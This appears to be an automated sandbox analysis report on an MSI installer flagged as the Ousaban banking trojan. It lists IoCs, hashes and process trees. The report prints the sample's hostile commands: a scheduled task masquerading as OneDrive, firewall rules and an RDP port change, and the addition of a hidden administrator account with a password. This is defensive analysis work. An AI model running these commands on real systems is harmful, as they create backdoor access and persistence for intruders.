Analysis
-
max time kernel
149s -
max time network
149s -
platform
windows10_x64 -
resource
win10-en-20211208 -
submitted
23-12-2021 10:51
Static task
static1
Behavioral task
behavioral1
Sample
seucartao0021 0iictl3q h6ozq5.msi
Resource
win7-en-20211208
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
seucartao0021 0iictl3q h6ozq5.msi
Resource
win10-en-20211208
windows10_x64
0 signatures
0 seconds
General
-
Target
seucartao0021 0iictl3q h6ozq5.msi
-
Size
4.0MB
-
MD5
04573ca4c50c5c352ec0859d6a14953a
-
SHA1
1a6780e61a658511f141fa8305ed9a9f318f5518
-
SHA256
57675d518613f20edc235c2975eadba7aa15d19aa460df03b443c99cff0d26d1
-
SHA512
d2ac8b26969f25b9c4da413a54118bcfc181dd2bffdabc771119fb5837825d560807862ea4a75f0985b0e2c261d9678fc18a4975bb8c24399e5e248362d9664d
Score
10/10
Malware Config
Signatures
-
suricata: ET MALWARE Ousaban Banker Checkin M1
suricata: ET MALWARE Ousaban Banker Checkin M1
-
suricata: ET MALWARE Ousaban Banker Checkin M2
suricata: ET MALWARE Ousaban Banker Checkin M2
-
suricata: ET MALWARE Ousaban Banker KeepAlive
suricata: ET MALWARE Ousaban Banker KeepAlive
-
suricata: ET MALWARE Ousaban Banker KeepAlive Response
suricata: ET MALWARE Ousaban Banker KeepAlive Response
-
suricata: ET MALWARE Ousaban Banker Server Response M1
suricata: ET MALWARE Ousaban Banker Server Response M1
-
suricata: ET MALWARE Ousaban Banker Server Response M2
suricata: ET MALWARE Ousaban Banker Server Response M2
-
Blocklisted process makes network request 2 IoCs
flow pid Process 13 1120 MsiExec.exe 18 1120 MsiExec.exe -
Executes dropped EXE 2 IoCs
pid Process 2076 XvsLOegwgAvH.exe 1920 TLJTRGxbd.exe -
Modifies RDP port number used by Windows 1 TTPs
-
Modifies Windows Firewall 1 TTPs
-
Sets DLL path for service in the registry 2 TTPs
-
Drops startup file 1 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XIEAiogabmYY.lnk MsiExec.exe -
Loads dropped DLL 23 IoCs
pid Process 1120 MsiExec.exe 1120 MsiExec.exe 1120 MsiExec.exe 1120 MsiExec.exe 2076 XvsLOegwgAvH.exe 2076 XvsLOegwgAvH.exe 2076 XvsLOegwgAvH.exe 2076 XvsLOegwgAvH.exe 2076 XvsLOegwgAvH.exe 2076 XvsLOegwgAvH.exe 2076 XvsLOegwgAvH.exe 2076 XvsLOegwgAvH.exe 2076 XvsLOegwgAvH.exe 2076 XvsLOegwgAvH.exe 1920 TLJTRGxbd.exe 1920 TLJTRGxbd.exe 1920 TLJTRGxbd.exe 1920 TLJTRGxbd.exe 1920 TLJTRGxbd.exe 1920 TLJTRGxbd.exe 1920 TLJTRGxbd.exe 3176 svchost.exe 1988 svchost.exe -
Enumerates connected drives 3 TTPs 48 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\F: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\F: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\L: msiexec.exe -
Modifies WinLogon 2 TTPs 1 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AllowMultipleTSSessions = "1" TLJTRGxbd.exe -
Drops file in Program Files directory 2 IoCs
description ioc Process File created C:\Program Files\Terminal Service 23122021\rdpwrap.ini TLJTRGxbd.exe File created C:\Program Files\Terminal Service 23122021\rdpwrap.dll TLJTRGxbd.exe -
Drops file in Windows directory 11 IoCs
description ioc Process File created C:\Windows\Installer\f75f667.msi msiexec.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe File opened for modification C:\Windows\Installer\MSIF742.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIFEF3.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIFF52.tmp msiexec.exe File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File opened for modification C:\Windows\Installer\f75f667.msi msiexec.exe File opened for modification C:\Windows\Installer\ msiexec.exe File created C:\Windows\Installer\SourceHash{2CF9BC1F-3B08-4ADD-99C9-AD880A202BE0} msiexec.exe File opened for modification C:\Windows\Installer\MSI538E.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI549A.tmp msiexec.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1892 schtasks.exe -
Modifies data under HKEY_USERS 15 IoCs
description ioc Process Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColor = "3288365271" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\EnableWindowColorization = "1" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationGlassAttribute = "1" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentColorMenu = "4292311040" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglowBalance = "10" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationBlurBalance = "1" LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\StartColorMenu = "4288567808" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\AccentColor = "4292311040" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColorBalance = "89" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglow = "3288365271" LogonUI.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = a6d8ff0076b9ed00429ce3000078d700005a9e000042750000264200f7630c00 LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM LogonUI.exe -
Runs net.exe
-
Script User-Agent 3 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 13 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 18 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 24 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 8 IoCs
pid Process 1964 msiexec.exe 1964 msiexec.exe 2076 XvsLOegwgAvH.exe 2076 XvsLOegwgAvH.exe 1988 svchost.exe 1988 svchost.exe 1988 svchost.exe 1988 svchost.exe -
Suspicious behavior: LoadsDriver 1 IoCs
pid Process 632 Process not Found -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 2620 msiexec.exe Token: SeIncreaseQuotaPrivilege 2620 msiexec.exe Token: SeSecurityPrivilege 1964 msiexec.exe Token: SeCreateTokenPrivilege 2620 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 2620 msiexec.exe Token: SeLockMemoryPrivilege 2620 msiexec.exe Token: SeIncreaseQuotaPrivilege 2620 msiexec.exe Token: SeMachineAccountPrivilege 2620 msiexec.exe Token: SeTcbPrivilege 2620 msiexec.exe Token: SeSecurityPrivilege 2620 msiexec.exe Token: SeTakeOwnershipPrivilege 2620 msiexec.exe Token: SeLoadDriverPrivilege 2620 msiexec.exe Token: SeSystemProfilePrivilege 2620 msiexec.exe Token: SeSystemtimePrivilege 2620 msiexec.exe Token: SeProfSingleProcessPrivilege 2620 msiexec.exe Token: SeIncBasePriorityPrivilege 2620 msiexec.exe Token: SeCreatePagefilePrivilege 2620 msiexec.exe Token: SeCreatePermanentPrivilege 2620 msiexec.exe Token: SeBackupPrivilege 2620 msiexec.exe Token: SeRestorePrivilege 2620 msiexec.exe Token: SeShutdownPrivilege 2620 msiexec.exe Token: SeDebugPrivilege 2620 msiexec.exe Token: SeAuditPrivilege 2620 msiexec.exe Token: SeSystemEnvironmentPrivilege 2620 msiexec.exe Token: SeChangeNotifyPrivilege 2620 msiexec.exe Token: SeRemoteShutdownPrivilege 2620 msiexec.exe Token: SeUndockPrivilege 2620 msiexec.exe Token: SeSyncAgentPrivilege 2620 msiexec.exe Token: SeEnableDelegationPrivilege 2620 msiexec.exe Token: SeManageVolumePrivilege 2620 msiexec.exe Token: SeImpersonatePrivilege 2620 msiexec.exe Token: SeCreateGlobalPrivilege 2620 msiexec.exe Token: SeRestorePrivilege 1964 msiexec.exe Token: SeTakeOwnershipPrivilege 1964 msiexec.exe Token: SeRestorePrivilege 1964 msiexec.exe Token: SeTakeOwnershipPrivilege 1964 msiexec.exe Token: SeRestorePrivilege 1964 msiexec.exe Token: SeTakeOwnershipPrivilege 1964 msiexec.exe Token: SeRestorePrivilege 1964 msiexec.exe Token: SeTakeOwnershipPrivilege 1964 msiexec.exe Token: SeIncreaseQuotaPrivilege 376 WMIC.exe Token: SeSecurityPrivilege 376 WMIC.exe Token: SeTakeOwnershipPrivilege 376 WMIC.exe Token: SeLoadDriverPrivilege 376 WMIC.exe Token: SeSystemProfilePrivilege 376 WMIC.exe Token: SeSystemtimePrivilege 376 WMIC.exe Token: SeProfSingleProcessPrivilege 376 WMIC.exe Token: SeIncBasePriorityPrivilege 376 WMIC.exe Token: SeCreatePagefilePrivilege 376 WMIC.exe Token: SeBackupPrivilege 376 WMIC.exe Token: SeRestorePrivilege 376 WMIC.exe Token: SeShutdownPrivilege 376 WMIC.exe Token: SeDebugPrivilege 376 WMIC.exe Token: SeSystemEnvironmentPrivilege 376 WMIC.exe Token: SeRemoteShutdownPrivilege 376 WMIC.exe Token: SeUndockPrivilege 376 WMIC.exe Token: SeManageVolumePrivilege 376 WMIC.exe Token: 33 376 WMIC.exe Token: 34 376 WMIC.exe Token: 35 376 WMIC.exe Token: 36 376 WMIC.exe Token: SeRestorePrivilege 1964 msiexec.exe Token: SeTakeOwnershipPrivilege 1964 msiexec.exe Token: SeIncreaseQuotaPrivilege 376 WMIC.exe -
Suspicious use of FindShellTrayWindow 3 IoCs
pid Process 2620 msiexec.exe 1120 MsiExec.exe 2620 msiexec.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 1280 LogonUI.exe -
Suspicious use of WriteProcessMemory 31 IoCs
description pid Process procid_target PID 1964 wrote to memory of 1120 1964 msiexec.exe 70 PID 1964 wrote to memory of 1120 1964 msiexec.exe 70 PID 1964 wrote to memory of 1120 1964 msiexec.exe 70 PID 1120 wrote to memory of 376 1120 MsiExec.exe 72 PID 1120 wrote to memory of 376 1120 MsiExec.exe 72 PID 1120 wrote to memory of 376 1120 MsiExec.exe 72 PID 2076 wrote to memory of 1672 2076 XvsLOegwgAvH.exe 76 PID 2076 wrote to memory of 1672 2076 XvsLOegwgAvH.exe 76 PID 2076 wrote to memory of 1672 2076 XvsLOegwgAvH.exe 76 PID 1672 wrote to memory of 1892 1672 cmd.exe 78 PID 1672 wrote to memory of 1892 1672 cmd.exe 78 PID 1672 wrote to memory of 1892 1672 cmd.exe 78 PID 2076 wrote to memory of 1920 2076 XvsLOegwgAvH.exe 80 PID 2076 wrote to memory of 1920 2076 XvsLOegwgAvH.exe 80 PID 2076 wrote to memory of 1920 2076 XvsLOegwgAvH.exe 80 PID 1920 wrote to memory of 1820 1920 TLJTRGxbd.exe 85 PID 1920 wrote to memory of 1820 1920 TLJTRGxbd.exe 85 PID 1920 wrote to memory of 2212 1920 TLJTRGxbd.exe 87 PID 1920 wrote to memory of 2212 1920 TLJTRGxbd.exe 87 PID 1920 wrote to memory of 1044 1920 TLJTRGxbd.exe 89 PID 1920 wrote to memory of 1044 1920 TLJTRGxbd.exe 89 PID 1044 wrote to memory of 4028 1044 net.exe 91 PID 1044 wrote to memory of 4028 1044 net.exe 91 PID 1920 wrote to memory of 3164 1920 TLJTRGxbd.exe 92 PID 1920 wrote to memory of 3164 1920 TLJTRGxbd.exe 92 PID 3164 wrote to memory of 884 3164 net.exe 94 PID 3164 wrote to memory of 884 3164 net.exe 94 PID 1920 wrote to memory of 1380 1920 TLJTRGxbd.exe 95 PID 1920 wrote to memory of 1380 1920 TLJTRGxbd.exe 95 PID 1920 wrote to memory of 3860 1920 TLJTRGxbd.exe 97 PID 1920 wrote to memory of 3860 1920 TLJTRGxbd.exe 97
Processes
-
C:\Windows\system32\msiexec.exemsiexec.exe /I "C:\Users\Admin\AppData\Local\Temp\seucartao0021 0iictl3q h6ozq5.msi"1⤵
- Enumerates connected drives
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:2620
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1964 -
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 63C9AB2F4B38CFDA11DBD125E88C318F2⤵
- Blocklisted process makes network request
- Drops startup file
- Loads dropped DLL
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:1120 -
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" process call create 'C:\Users\Admin\ZicJajftTbIk\XvsLOegwgAvH.exe'3⤵
- Suspicious use of AdjustPrivilegeToken
PID:376
-
-
-
C:\Users\Admin\ZicJajftTbIk\XvsLOegwgAvH.exeC:\Users\Admin\ZicJajftTbIk\XvsLOegwgAvH.exe1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2076 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C schtasks /CREATE /TN "OneDrive " /TR C:\\Users\Admin\ZicJajftTbIk\XvsLOegwgAvH.exe /SC minute /MO 2 /IT /RU %USERNAME%2⤵
- Suspicious use of WriteProcessMemory
PID:1672 -
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "OneDrive " /TR C:\\Users\Admin\ZicJajftTbIk\XvsLOegwgAvH.exe /SC minute /MO 2 /IT /RU Admin3⤵
- Creates scheduled task(s)
PID:1892
-
-
-
C:\Users\Admin\dSzzT 66G8\TLJTRGxbd.exe"C:\Users\Admin\dSzzT 66G8\TLJTRGxbd.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies WinLogon
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:1920 -
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="Remote Desktop" dir=in protocol=tcp localport=3456 profile=any action=allow3⤵PID:1820
-
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="Remote Desktop" dir=in protocol=udp localport=3456 profile=any action=allow3⤵PID:2212
-
-
C:\Windows\system32\net.exenet user Administrat0r "123mudar" /add3⤵
- Suspicious use of WriteProcessMemory
PID:1044 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user Administrat0r "123mudar" /add4⤵PID:4028
-
-
-
C:\Windows\system32\net.exenet localgroup Administradores Administrat0r /add3⤵
- Suspicious use of WriteProcessMemory
PID:3164 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administradores Administrat0r /add4⤵PID:884
-
-
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="Remote Desktop" dir=in protocol=tcp localport=3456 profile=any action=allow3⤵PID:1380
-
-
C:\Windows\System32\reg.exeC:\Windows\System32\reg.exe add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 3456 /f3⤵PID:3860
-
-
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k networkservice -s TermService1⤵
- Loads dropped DLL
PID:3176
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -s TermService1⤵
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
PID:1988
-
C:\Windows\system32\LogonUI.exe"LogonUI.exe" /flags:0x0 /state0:0xa3ad5855 /state1:0x41c64e6d1⤵
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
PID:1280